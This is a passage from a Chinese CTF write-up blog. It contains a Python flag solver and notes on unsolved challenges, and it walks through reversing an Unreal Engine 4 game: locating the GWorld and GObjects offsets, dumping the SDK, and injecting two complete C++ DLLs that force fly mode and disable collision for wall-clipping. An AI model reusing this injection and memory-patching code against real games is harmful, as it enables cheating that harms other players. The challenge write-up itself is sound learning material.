start = locate_bytecode(blob)
coeffs, targets = [], []
for blk in range(NUM_BLOCKS):
base = start + blk * BLOCK_SIZE * 8
block = [
struct.unpack_from('<HHHH', blob, base + i * 8)
for i in range(BLOCK_SIZE)
]
row, rhs = run_block(block)
coeffs.append(list(map(Fraction, row)))
targets.append(Fraction(rhs))
return coeffs, targets

def solve_linear(A, b):
n = len(A)
M = [row[:] for row in A]
y = b[:]
for col in range(n):
pivot = max(range(col, n), key=lambda r: abs(M[r][col]))
if M[pivot][col] == 0:
raise RuntimeError("singular matrix")
if pivot != col:
M[col], M[pivot] = M[pivot], M[col]
y[col], y[pivot] = y[pivot], y[col]
pivot_val = M[col][col]
for j in range(col, n):
M[col][j] /= pivot_val
y[col] /= pivot_val
for row in range(col + 1, n):
factor = M[row][col]
if factor == 0:
continue
for j in range(col, n):
M[row][j] -= factor * M[col][j]
y[row] -= factor * y[col]
x = [Fraction(0)] * n
for i in range(n - 1, -1, -1):
s = y[i]
for j in range(i + 1, n):
s -= M[i][j] * x[j]
x[i] = s
return [int(round(val)) for val in x]

def main():
blob = open('chall', 'rb').read()
A, b = build_system(blob)
chars = solve_linear(A, b)
flag = ''.join(chr(c) for c in chars)
print(flag)

if __name__ == '__main__':
main()

DASCTF{w4ll_CpP_4nD_1O5_1S_Qu1T_FuN}

那些努力过没出的题

Python’s Shed Skin

可惜了,delta好像是0xdeadbeef,好像魔改了50,纯静态分析,时间不够了,花时间调一下有可能可以做出来

python反编译 - 在线工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.12

import ezpy

def main():
user_input = input('Please input your flag: ')
if ezpy.encrypt_check_flag(user_input):
print('Correct Flag! You are a master of reversing!')
return None
print('Wrong Flag! Keep trying.')

if __name__ == '__main__':
main()
return None

Overwatch

比较想做出来的一道题

overwatch的话偏移搞错了,不然应该至少能出一段flag,一直以为是gworld搞错了,因为之前提取一直报错提示我gobject,后来能dump,却只有一点信息,那么猜想必然是gworld错了…结果打脸了

还有就是不知道为什么搜索seameless还有些常见字符串都搜索不到,出现这种情况,或者直接没有,看了源码才勉强能搜到一两个…

赛后下面那个偏移问题(主要是被网上某篇瞎写的博客和IDA字符串加载给暗算了)解决了自己做了下直接出了一段flag,后一段flag没找到只能看wp了

好的!我知道了尴尬了,我还是太着急了,刚刚写这个wp的时候又打开来了(之前保存的i64),搜了一下seamless,发现直接出现了,原来是IDA加载太慢了,我太急了,我就不该上课 T.T

image-20251013222036823

image-20251013221924088

dump工具:Spuckwaffel/UEDumper: The most powerful Unreal Engine Dumper and Editor for UE 4.19 - 5.3

image-20251012162204075

可以看这个视频

https://www.youtube.com/watch?v=M7VLd1xrVoM

image-20251012172315439

说一下找三件套吧

Fname找ByteObject

image-20251014102225239

交叉引用这个方法,是最上面那个

image-20251014102258624

image-20251014102334465

第一个偏移:0x4869C80

ps:可以看那个印度佬的视频,挺好的,先去rebase里把机制定位0

找UWorld时,我是IDA没加载出来这个”Seamless”字符串

关于如何对照源码虚幻4 UE4 逆向 寻找 世界地址 UWORLD地址 教程_哔哩哔哩_bilibili

可以先去github把对应版本的源码下载下来,需要加入epicgame组织先,

所以我对照了源码最终找到一个

image-20251014102621791

image-20251014102704430

当然常规的方法更简单一点

搜索: SeamlessTravel FlushLevelStreaming

往上直接找到:

image-20251014103045269

第二个uworld有了:49ee370

第三个gobject,我也是死在这了…

我找的偏移是0x48A5FC0

看了wp发现是:0x48A5FD0

….

就差0x10,可能是数据结构哪里搞错了应该

当时找了

image-20251014104421969

image-20251014104434870

当时字符串没加载出来,简单的把48A5FC0作为Gobject肯定不对,都跟上面不太像其实

实际上被误导了?

ue5游戏逆向之寻找GWorld,GName和GUObjectArray - 怎么可以吃突突 - 博客园

这里虽然是ue5的方法,但是道理应该差不多,为什么偏移不对?

官解搜索的是:NewObject with….

可是我看了下引用:

image-20251014105547046

这找个damn…

不知道是不是我IDA的原因

运气足够好,第二个就是

image-20251014105748059

但是我并没有找到源码中对应的寻找方式,可能是源码中把NewObject字符串包装了,得搜索引用这个函数的才能去找GUObject

推荐搜索Failed to load Enginee class,跟刚才的NewObject With到达的是一个地方

image-20251014110256024

48A5FD0

offset.h里填好

image-20251014110520421

dump成功如下

image-20251014110946452

后面就是游戏逆向,猜测flag在墙外,因而只有几种常规方法:透视(墙不见) 穿墙 飞天遁地

在merged_AudioMixer_Engine_UMG_MovieScene_MovieSceneTracks.h种有

这个文件不是引擎原生的源码文件,而是 自动合并生成的头文件

目的是把多个模块导出的类、枚举、结构体合并在一个文件中方便分析。

这个枚举定义在 UE 原版引擎中是 角色移动组件(Character Movement Component) 的核心枚举

模式 场景举例 行为逻辑
MOVE_None 不可移动(如被眩晕、冻结) 停止更新物理
MOVE_Walking 在地面上走 使用地面摩擦力、速度计算
MOVE_NavWalking AI 路径导航行走 使用 NavMesh
MOVE_Falling 从高处坠落 使用重力
MOVE_Swimming 在水中游动 使用流体阻力、浮力
MOVE_Flying 飞行类角色(如幽灵、飞行器) 关闭重力,使用自由三维移动
MOVE_Custom 自定义移动,如“攀爬”、“滑行” 游戏开发者自己扩展逻辑

image-20251014193847028

我们能发现这里还有

image-20251014201041665

ACharacter是什么?

ACharacter:UE4 自带的行走类Actor,继承自 APawn。含网格体、胶囊体、UCharacterMovementComponent 等,负责角色移动、跳跃等行为。你操作飞行/穿墙时的目标对象就是本地玩家的 ACharacter 实例

这些是 编译时静态断言(static_assert),用于验证 类成员变量的内存偏移是否正确。

UCharacterMovementComponent::MovementModePendingLaunchVelocity这些字段属于 UCharacterMovementComponent(角色移动组件),控制角色的物理状态。

我们除了这些关键属性之外还需要知道世界链路

在 UE 逆向中,找到世界链路 是理解游戏对象体系的关键。

世界结构简图:

1
2
3
4
5
6
7
8
9
GWorld → UWorld
├─ PersistentLevel (ULevel)
│ ├─ AActor[0] = DefaultPawn
│ ├─ AActor[1] = PlayerCharacter
│ └─ ...
├─ GameInstance
├─ GameMode
├─ PlayerController
└─ etc.
名称 类型 含义
GWorld UWorld* 全局指针 当前正在运行的世界(全局变量)
UWorld 类对象 世界实例本身,包含关卡、玩家、Actor 列表等

GWorld 就是指向当前 UWorld 的全局变量。

在内存调试中,通常会通过 GWorld 找到整个世界的根:

1
2
3
UWorld* World = GWorld;
ULevel* Level = World->PersistentLevel;
TArray<AActor*> Actors = Level->Actors;

这样就能遍历世界中所有的角色对象。

元素 含义 逆向用途
offsetof 成员偏移 定位内存字段、直接读写对象成员
CharacterMovement 角色移动组件指针 控制角色物理行为(走、飞、跳)
CapsuleComponent 碰撞体组件 检测碰撞、修改 hitbox 尺寸
MovementMode 当前移动模式 判断或强制移动状态
PendingLaunchVelocity 等待应用的速度 修改跳跃或击飞效果
GWorld → UWorld 世界根节点 遍历所有 Actor,找到玩家对象

在游戏中找到了玩家对象地址 PlayerCharacter

1
UCharacterMovementComponent* MoveComp =  *(UCharacterMovementComponent**)(PlayerCharacter + 0x288);

接下来:

1
2
MoveComp->MovementMode = EMovementMode::MOVE_Flying;
MoveComp->PendingLaunchVelocity = FVector(0, 0, 3000);

角色立刻能在空中飞行或超高跳。

  • UWorld::OwningGameInstance:指向当前世界所属的 UGameInstance。GameInstance 持有全局状态,如本地玩家列表、子系统等,是沿 GWorld 找到你这边玩家控制器的入口。
  • APawn:可被玩家或 AI 控制的 Actor 基类。ACharacter 就是 APawn 的一个扩展版本,加入了骨骼网格和 CharacterMovement。
  • APlayerController::AcknowledgedPawn:玩家控制器当前“正式控制”的 Pawn 指针。正常游戏里它就是你的角色 Pawn(如 ACharacter),读取后才能继续修改移动组件/碰撞。
  • APlayerController:表示本地或远端的玩家控制器,处理输入、相机、HUD 等。我们从 UGameInstance::LocalPlayers 取得的 ULocalPlayer->PlayerController 就是本地玩家的控制器,顺着它的 AcknowledgedPawn 拿到角色后才能进行后续 hack。

世界链路

  • GWorld(基址 base + 0x49EE370,与setOffsets() 中 OFFSET_GWORLD 相符)指向当前关卡对应的 UWorld。
  • UWorld + 0x180(OwningGameInstance)拿到 UGameInstance,这是全局封装玩家列表的对象。
  • UGameInstance + 0x38(LocalPlayers 的 TArray)提供本地玩家数组,下标 0 通常是本地玩家。
  • ULocalPlayer->PlayerController(UPlayer::PlayerController 在 …:8986 给出 0x30)接到 APlayerController,再用 AcknowledgedPawn 偏移 0x2A0 取到实际 Pawn。
  • Pawn + 0x288(CharacterMovement)就能定位 UCharacterMovementComponent;后续通过 MovementMode、PendingLaunchVelocity 等偏移修改为飞行或冲刺,或者抓取 CapsuleComponent(0x290) 调 SetCollisionEnabled 实现穿墙。

image-20251014220645122

在编写代码时我们可以用reinterpret_cast

reinterpret_cast(expr) 是 C++ 提供的强制类型转换之一:

1
2
在没有类型信息/类定义不足的情况下,把某个指针或整数当成别的类型的指针来访问。
与UE这类内存操作结合时,我们经常只有偏移值,所以先把基址转成 uint8_t*,加偏移后再 reinterpret_cast<目标类型*>,这样就能把那块内存看成某个字段或结构。

FVector 在 BasicType.h 里被定义成三个 float 分量(X/Y/Z)。C++ 允许对这种简单结构做聚合初始化,{a, b, c} 就会依次填入 X/Y/Z,所以 {0.f, 0.f, 800.f} 会写成 (0,0,800)。

数值 800/600 只是示例:PendingLaunchVelocity 相当于给角色一个即将施加的冲量,LastUpdateVelocity 是当前速度。这两个字段只要写入任何 FVector,UE4 就会按这些分量处理运动;如果想要更慢或更快的上升,可以自己改成别的值。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#include "pch.h"

#include <Windows.h>
#include <atomic>
#include <thread>
#include <chrono>
#include "BasicType.h" // UEDumper 导出的基础类型,提供 TArray 等模板

// --- 简易前向声明 -----------------------------------------------------------
struct UWorld;
struct UGameInstance;
struct ULocalPlayer;
struct APlayerController;
struct APawn;
struct ACharacter;
struct UCharacterMovementComponent;

struct FVector { float X, Y, Z; };

// 之前我们发现的状态
enum class EMovementMode : uint8_t {
MOVE_None = 0,
MOVE_Walking = 1,
MOVE_NavWalking,
MOVE_Falling,
MOVE_Swimming,
MOVE_Flying,
MOVE_Custom
};

// --- 偏移常量(来自 merged_AudioMixer_Engine_UMG_MovieScene_MovieSceneTracks.h) ---
constexpr uintptr_t OFFSET_GWORLD = 0x49EE370;
constexpr size_t OFFSET_UWORLD_OWNING_GI = 0x180;
constexpr size_t OFFSET_UGAMEINSTANCE_LOCALPLAYERS = 0x38;
constexpr size_t OFFSET_ULOCALPLAYER_PLAYERCONTROLLER = 0x30;
constexpr size_t OFFSET_APLAYERCONTROLLER_ACKPAWN = 0x2A0;
constexpr size_t OFFSET_ACHARACTER_CHARACTERMOVEMENT = 0x288; // 角色移动

constexpr size_t OFFSET_UCHARMOVEMENT_MOVEMENTMODE = 0x168;
constexpr size_t OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE = 0x384;
constexpr size_t OFFSET_UCHARMOVEMENT_PENDINGLAUNCHVELOC = 0x3C0;
constexpr size_t OFFSET_UCHARMOVEMENT_LASTUPDATEVELOC = 0x25C; // LastUpdateVelocity

// --- 全局状态 ---------------------------------------------------------------
static std::atomic<bool> g_running{ true };
static std::atomic<bool> g_flyEnabled{ false };

// --- 便捷访问函数 -----------------------------------------------------------
inline uintptr_t GetModuleBase()
{
static uintptr_t base = reinterpret_cast<uintptr_t>(::GetModuleHandleW(nullptr));
return base;
}

// 根据偏移找GWorld
inline UWorld* GetWorld()
{
return *reinterpret_cast<UWorld**>(GetModuleBase() + OFFSET_GWORLD);
}

// 获取实例,拿本地玩家列表,我们要拿[0]
inline UGameInstance* GetGameInstance(UWorld* world)
{
if (!world) return nullptr;
return *reinterpret_cast<UGameInstance**>(reinterpret_cast<uint8_t*>(world) + OFFSET_UWORLD_OWNING_GI);
}

inline TArray<ULocalPlayer*>& GetLocalPlayers(UGameInstance* gi)
{
return *reinterpret_cast<TArray<ULocalPlayer*>*>(reinterpret_cast<uint8_t*>(gi) + OFFSET_UGAMEINSTANCE_LOCALPLAYERS);
}

inline APlayerController* GetPlayerController(ULocalPlayer* lp)
{
return *reinterpret_cast<APlayerController**>(reinterpret_cast<uint8_t*>(lp) + OFFSET_ULOCALPLAYER_PLAYERCONTROLLER);
}

// 这一帧实际被控制的 Pawn,拿到这个指针就能访问 ACharacter
inline ACharacter* GetAcknowledgedCharacter(APlayerController* pc)
{
return *reinterpret_cast<ACharacter**>(reinterpret_cast<uint8_t*>(pc) + OFFSET_APLAYERCONTROLLER_ACKPAWN);
}

inline UCharacterMovementComponent* GetCharacterMovement(ACharacter* character)
{
return *reinterpret_cast<UCharacterMovementComponent**>(
reinterpret_cast<uint8_t*>(character) + OFFSET_ACHARACTER_CHARACTERMOVEMENT);
}

// --- 写飞行相关字段 ---------------------------------------------------------
void ApplyFlyState(UCharacterMovementComponent* movement, bool enable)
{
if (!movement) return;

uint8_t* base = reinterpret_cast<uint8_t*>(movement);

auto& movementMode = *reinterpret_cast<EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE);
auto& defaultLandMode = *reinterpret_cast<EMovementMode*>(base + OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE);
auto& pendingLaunchVelocity = *reinterpret_cast<FVector*>(base + OFFSET_UCHARMOVEMENT_PENDINGLAUNCHVELOC);
auto& lastUpdateVelocity = *reinterpret_cast<FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELOC);

if (enable) {
movementMode = EMovementMode::MOVE_Flying;
defaultLandMode = EMovementMode::MOVE_Flying;
pendingLaunchVelocity = { 0.f, 0.f, 800.f };
lastUpdateVelocity = { 0.f, 0.f, 600.f };
}
else {
movementMode = EMovementMode::MOVE_Walking;
defaultLandMode = EMovementMode::MOVE_Walking;
pendingLaunchVelocity = { 0.f, 0.f, 0.f };
lastUpdateVelocity = { 0.f, 0.f, 0.f };
}
}

// 持续维持飞行状态,防止游戏自动还原
void SustainFly(UCharacterMovementComponent* movement)
{
if (!movement) return;

uint8_t* base = reinterpret_cast<uint8_t*>(movement);
auto& movementMode = *reinterpret_cast<EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE);
auto& lastUpdateVelocity = *reinterpret_cast<FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELOC);

// movementMode 本质是 *(EMovementMode*)(base + 0x168) 的别名,base 指向 UCharacterMovementComponent 的起始地址. base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE 跳到 MovementMode 字段; reinterpret_cast<EMovementMode*> 把那块内存视为 EMovementMode * ;
// 通过引用赋值 movementMode = EMovementMode::MOVE_Flying; 就是把那 1 字节的内存直接写成飞行枚举。
movementMode = EMovementMode::MOVE_Flying;
if (lastUpdateVelocity.Z < 300.f) {
lastUpdateVelocity.Z = 400.f; // 给一点上升速度
}
}

// --- 热键线程 ---------------------------------------------------------------
DWORD WINAPI FlyThread(LPVOID)
{
while (g_running) {
if (::GetAsyncKeyState(VK_F6) & 1) {
UWorld* world = GetWorld();
auto gi = GetGameInstance(world);
if (!gi) continue;

auto& players = GetLocalPlayers(gi);
if (!players.IsValidIndex(0) || !players[0]) continue;

auto pc = GetPlayerController(players[0]);
if (!pc) continue;

auto character = GetAcknowledgedCharacter(pc);
auto movement = GetCharacterMovement(character);
g_flyEnabled = !g_flyEnabled.load();
ApplyFlyState(movement, g_flyEnabled);
}
/*
玩家切关、死亡重生、切换 Pawn 时,GWorld、GameInstance、LocalPlayers 乃至 AcknowledgedPawn 都可能变;如果只在按热键那一刻取一次指针,等角色重建后就指向旧对象,易崩溃或写不到新角色。
循环里每次重新取 GWorld→GameInstance→LocalPlayer→PlayerController→Pawn→Movement,能在状态变化时自动跟上,确保对当前角色生效,也避免解引用野指针。
用 TArray::IsValidIndex 防御空指针,配合持续刷新 MovementMode 就能稳定维持飞行。
*/
if (g_flyEnabled) {
UWorld* world = GetWorld();
auto gi = GetGameInstance(world);
if (gi) {
auto& players = GetLocalPlayers(gi);
if (players.IsValidIndex(0) && players[0]) {
auto pc = GetPlayerController(players[0]);
if (pc) {
auto character = GetAcknowledgedCharacter(pc);
auto movement = GetCharacterMovement(character);
SustainFly(movement);
}
}
}
}

std::this_thread::sleep_for(std::chrono::milliseconds(20));
}
return 0;
}

BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID)
{
if (reason == DLL_PROCESS_ATTACH) {
::DisableThreadLibraryCalls(module);

::MessageBoxW(nullptr,
L"TSCTF DLL 注入成功\nF6 切换飞行模式",
L"TSCTF Helper",
MB_OK | MB_ICONINFORMATION);

::CreateThread(nullptr, 0, FlyThread, nullptr, 0, nullptr);
}
else if (reason == DLL_PROCESS_DETACH) {
g_running = false;
}
return TRUE;
}

visual studio新建dll项目

image-20251014221722121

注意引如BasicType.h

然后生成项目

relase x64

然后找工具注入

如:

DarthTon/Xenos: Windows dll injector

image-20251014211218244

注入即可

按F6起飞

image-20251014211105377

这里再添加一个脚本兼容穿墙和起飞

image-20251014222324466

image-20251014223115885

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#include "pch.h"

#include <Windows.h>
#include <atomic>
#include <thread>
#include <chrono>
#include "BasicType.h"

struct UWorld;
struct UGameInstance;
struct ULocalPlayer;
struct APlayerController;
struct APawn;
struct ACharacter;
struct UCharacterMovementComponent;
struct UCapsuleComponent;

struct FVector { float X, Y, Z; };

enum class EMovementMode : uint8_t {
MOVE_None = 0,
MOVE_Walking = 1,
MOVE_NavWalking,
MOVE_Falling,
MOVE_Swimming,
MOVE_Flying,
MOVE_Custom
};

enum class ECollisionEnabled : uint8_t {
NoCollision = 0,
QueryOnly = 1,
PhysicsOnly = 2,
QueryAndPhysics = 3
};

constexpr uintptr_t OFFSET_GWORLD = 0x49EE370;
constexpr size_t OFFSET_UWORLD_OWNING_GI = 0x180;
constexpr size_t OFFSET_UGAMEINSTANCE_LOCALPLAYERS = 0x38;
constexpr size_t OFFSET_ULOCALPLAYER_PLAYERCONTROLLER = 0x30;
constexpr size_t OFFSET_APLAYERCONTROLLER_ACKPAWN = 0x2A0;
constexpr size_t OFFSET_ACHARACTER_MOVEMENT = 0x288;
constexpr size_t OFFSET_ACHARACTER_CAPSULE = 0x290;

constexpr size_t OFFSET_UCHARMOVEMENT_MOVEMENTMODE = 0x168;
constexpr size_t OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE = 0x384;
constexpr size_t OFFSET_UCHARMOVEMENT_PENDINGLAUNCH = 0x3C0;
constexpr size_t OFFSET_UCHARMOVEMENT_LASTUPDATEVELO = 0x25C;

constexpr size_t OFFSET_UPRIMITIVE_BODYINSTANCE = 0x2C8;
constexpr size_t OFFSET_FBODYINSTANCE_COLLISIONENABLED = 0x20;

static std::atomic<bool> g_running{ true };
static std::atomic<bool> g_userFly{ false };
static std::atomic<bool> g_autoFlyFromCollision{ false };
static std::atomic<bool> g_noCollision{ false };

inline uintptr_t GetModuleBase()
{
static uintptr_t base = reinterpret_cast<uintptr_t>(::GetModuleHandleW(nullptr));
return base;
}

inline UWorld* GetWorld()
{
return *reinterpret_cast<UWorld**>(GetModuleBase() + OFFSET_GWORLD);
}

inline UGameInstance* GetGameInstance(UWorld* world)
{
if (!world) return nullptr;
return *reinterpret_cast<UGameInstance**>(reinterpret_cast<uint8_t*>(world) + OFFSET_UWORLD_OWNING_GI);
}

inline TArray<ULocalPlayer*>& GetLocalPlayers(UGameInstance* gi)
{
return *reinterpret_cast<TArray<ULocalPlayer*>*>(reinterpret_cast<uint8_t*>(gi) + OFFSET_UGAMEINSTANCE_LOCALPLAYERS);
}

inline APlayerController* GetPlayerController(ULocalPlayer* lp)
{
return *reinterpret_cast<APlayerController**>(reinterpret_cast<uint8_t*>(lp) + OFFSET_ULOCALPLAYER_PLAYERCONTROLLER);
}

inline ACharacter* GetAcknowledgedCharacter(APlayerController* pc)
{
return *reinterpret_cast<ACharacter**>(reinterpret_cast<uint8_t*>(pc) + OFFSET_APLAYERCONTROLLER_ACKPAWN);
}

inline UCharacterMovementComponent* GetCharacterMovement(ACharacter* character)
{
return *reinterpret_cast<UCharacterMovementComponent**>(reinterpret_cast<uint8_t*>(character) + OFFSET_ACHARACTER_MOVEMENT);
}

inline UCapsuleComponent* GetCapsuleComponent(ACharacter* character)
{
return *reinterpret_cast<UCapsuleComponent**>(reinterpret_cast<uint8_t*>(character) + OFFSET_ACHARACTER_CAPSULE);
}

void ApplyFlyState(UCharacterMovementComponent* movement, bool enable, bool giveBoost)
{
if (!movement) return;

uint8_t* base = reinterpret_cast<uint8_t*>(movement);
auto& movementMode = *reinterpret_cast<EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE);
auto& defaultLand = *reinterpret_cast<EMovementMode*>(base + OFFSET_UCHARMOVEMENT_DEFAULTLANDMODE);
auto& pendingLaunch = *reinterpret_cast<FVector*>(base + OFFSET_UCHARMOVEMENT_PENDINGLAUNCH);
auto& lastUpdateVel = *reinterpret_cast<FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELO);

if (enable) {
movementMode = EMovementMode::MOVE_Flying;
defaultLand = EMovementMode::MOVE_Flying;
if (giveBoost) {
pendingLaunch = { 0.f, 0.f, 800.f };
lastUpdateVel = { 0.f, 0.f, 600.f };
}
else {
pendingLaunch = { 0.f, 0.f, 0.f };
lastUpdateVel = { 0.f, 0.f, 0.f };
}
}
else {
movementMode = EMovementMode::MOVE_Walking;
defaultLand = EMovementMode::MOVE_Walking;
pendingLaunch = { 0.f, 0.f, 0.f };
lastUpdateVel = { 0.f, 0.f, 0.f };
}
}

void SustainFly(UCharacterMovementComponent* movement, bool giveBoost)
{
if (!movement) return;

uint8_t* base = reinterpret_cast<uint8_t*>(movement);
auto& movementMode = *reinterpret_cast<EMovementMode*>(base + OFFSET_UCHARMOVEMENT_MOVEMENTMODE);
auto& lastUpdateVel = *reinterpret_cast<FVector*>(base + OFFSET_UCHARMOVEMENT_LASTUPDATEVELO);

movementMode = EMovementMode::MOVE_Flying;
if (giveBoost && lastUpdateVel.Z < 300.f) {
lastUpdateVel.Z = 400.f;
}
}

void ApplyCollisionState(UCapsuleComponent* capsule, bool noCollision)
{
if (!capsule) return;

uint8_t* primitive = reinterpret_cast<uint8_t*>(capsule);
auto& collisionEnabled = *reinterpret_cast<ECollisionEnabled*>(
primitive + OFFSET_UPRIMITIVE_BODYINSTANCE + OFFSET_FBODYINSTANCE_COLLISIONENABLED);

collisionEnabled = noCollision ? ECollisionEnabled::NoCollision
: ECollisionEnabled::QueryAndPhysics;
}

bool ShouldFly()
{
return g_userFly.load() || g_autoFlyFromCollision.load();
}

DWORD WINAPI FlyThread(LPVOID)
{
while (g_running) {
if (::GetAsyncKeyState(VK_F6) & 1) {
UWorld* world = GetWorld();
auto gi = GetGameInstance(world);
if (!gi) continue;

auto& players = GetLocalPlayers(gi);
if (!players.IsValidIndex(0) || !players[0]) continue;

auto pc = GetPlayerController(players[0]);
if (!pc) continue;

auto character = GetAcknowledgedCharacter(pc);
auto movement = GetCharacterMovement(character);
if (!movement) continue;

g_userFly = !g_userFly.load();
ApplyFlyState(movement, ShouldFly(), g_userFly.load());
}

if (::GetAsyncKeyState(VK_F5) & 1) {
UWorld* world = GetWorld();
auto gi = GetGameInstance(world);
if (!gi) continue;

auto& players = GetLocalPlayers(gi);
if (!players.IsValidIndex(0) || !players[0]) continue;

auto pc = GetPlayerController(players[0]);
if (!pc) continue;

auto character = GetAcknowledgedCharacter(pc);
auto movement = GetCharacterMovement(character);
auto capsule = GetCapsuleComponent(character);
if (!movement || !capsule) continue;

bool newState = !g_noCollision.load();
g_noCollision = newState;
g_autoFlyFromCollision = newState;

ApplyCollisionState(capsule, newState);
ApplyFlyState(movement, ShouldFly(), g_userFly.load());
}

/*
玩家切关、死亡重生、切换 Pawn 时,GWorld、GameInstance、LocalPlayers 乃至 AcknowledgedPawn 都可能变;
如果只在按热键那一刻取一次指针,等角色重建后就指向旧对象,易崩溃或写不到新角色。
循环里每次重新取 GWorld→GameInstance→LocalPlayer→PlayerController→Pawn→Movement/ Capsule,
能在状态变化时自动跟上,确保对当前角色生效,也避免解引用野指针。
*/
if (ShouldFly() || g_noCollision.load()) {
UWorld* world = GetWorld();
auto gi = GetGameInstance(world);
if (gi) {
auto& players = GetLocalPlayers(gi);
if (players.IsValidIndex(0) && players[0]) {
auto pc = GetPlayerController(players[0]);
if (pc) {
auto character = GetAcknowledgedCharacter(pc);
if (auto movement = GetCharacterMovement(character)) {
SustainFly(movement, g_userFly.load());
}
if (auto capsule = GetCapsuleComponent(character); g_noCollision.load()) {
ApplyCollisionState(capsule, true);
}
}
}
}
}

std::this_thread::sleep_for(std::chrono::milliseconds(20));
}
return 0;
}

BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID)
{
if (reason == DLL_PROCESS_ATTACH) {
::DisableThreadLibraryCalls(module);

::MessageBoxW(nullptr,
L"TSCTF DLL 注入成功\nF6 切换飞行模式\nF5 切换穿墙模式",
L"TSCTF Helper",
MB_OK | MB_ICONINFORMATION);

::CreateThread(nullptr, 0, FlyThread, nullptr, 0, nullptr);
}
else if (reason == DLL_PROCESS_DETACH) {
g_running = false;
}
return TRUE;
}

Flag:TSCTF-J{u0real_or_R1AL?!

还有一段flag找不到

只能看wp了

看了题解是藏在前面了_and_here}

TSCTF-J{u0real_or_R1AL?!_and_here}